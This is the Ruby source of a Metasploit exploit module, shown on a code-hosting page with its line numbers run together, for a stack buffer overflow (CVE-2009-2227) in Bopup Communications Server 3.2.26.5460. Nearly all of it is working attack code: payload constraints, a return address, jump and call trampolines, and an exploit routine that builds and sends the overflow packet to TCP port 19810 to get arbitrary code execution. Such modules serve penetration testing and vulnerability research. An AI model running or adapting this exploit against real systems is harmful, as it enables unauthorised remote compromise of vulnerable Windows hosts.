Path: blob/master/modules/exploits/windows/misc/bopup_comm.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Bopup Communications Server Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.17By sending a specially crafted packet, an attacker may be18able to execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2009-2227' ],24[ 'OSVDB', '55275' ],25[ 'URL', 'http://www.blabsoft.com/products/server' ],26[ 'EDB', '9002' ]27],28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 417,33'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",34'StackAdjustment' => -3500,35'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",36},37'Platform' => 'win',38'Targets' => [39[ 'Bopup Communications Server 3.2.26.5460', { 'Ret' => 0x0041add2 } ],40],41'Privileged' => true,42'DefaultTarget' => 0,43'DisclosureDate' => '2009-06-18',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54Opt::RPORT(19810)55]56)57end5859def exploit60connect6162sploit = [0x00000001].pack('V')63sploit << rand_text_alpha_upper(829 - payload.encoded.length)64sploit << payload.encoded65sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string66sploit << rand_text_alpha_upper(27)67sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)68sploit << [target.ret].pack('V')6970print_status("Trying target #{target.name}...")71sock.put(sploit)7273handler74disconnect75end76end777879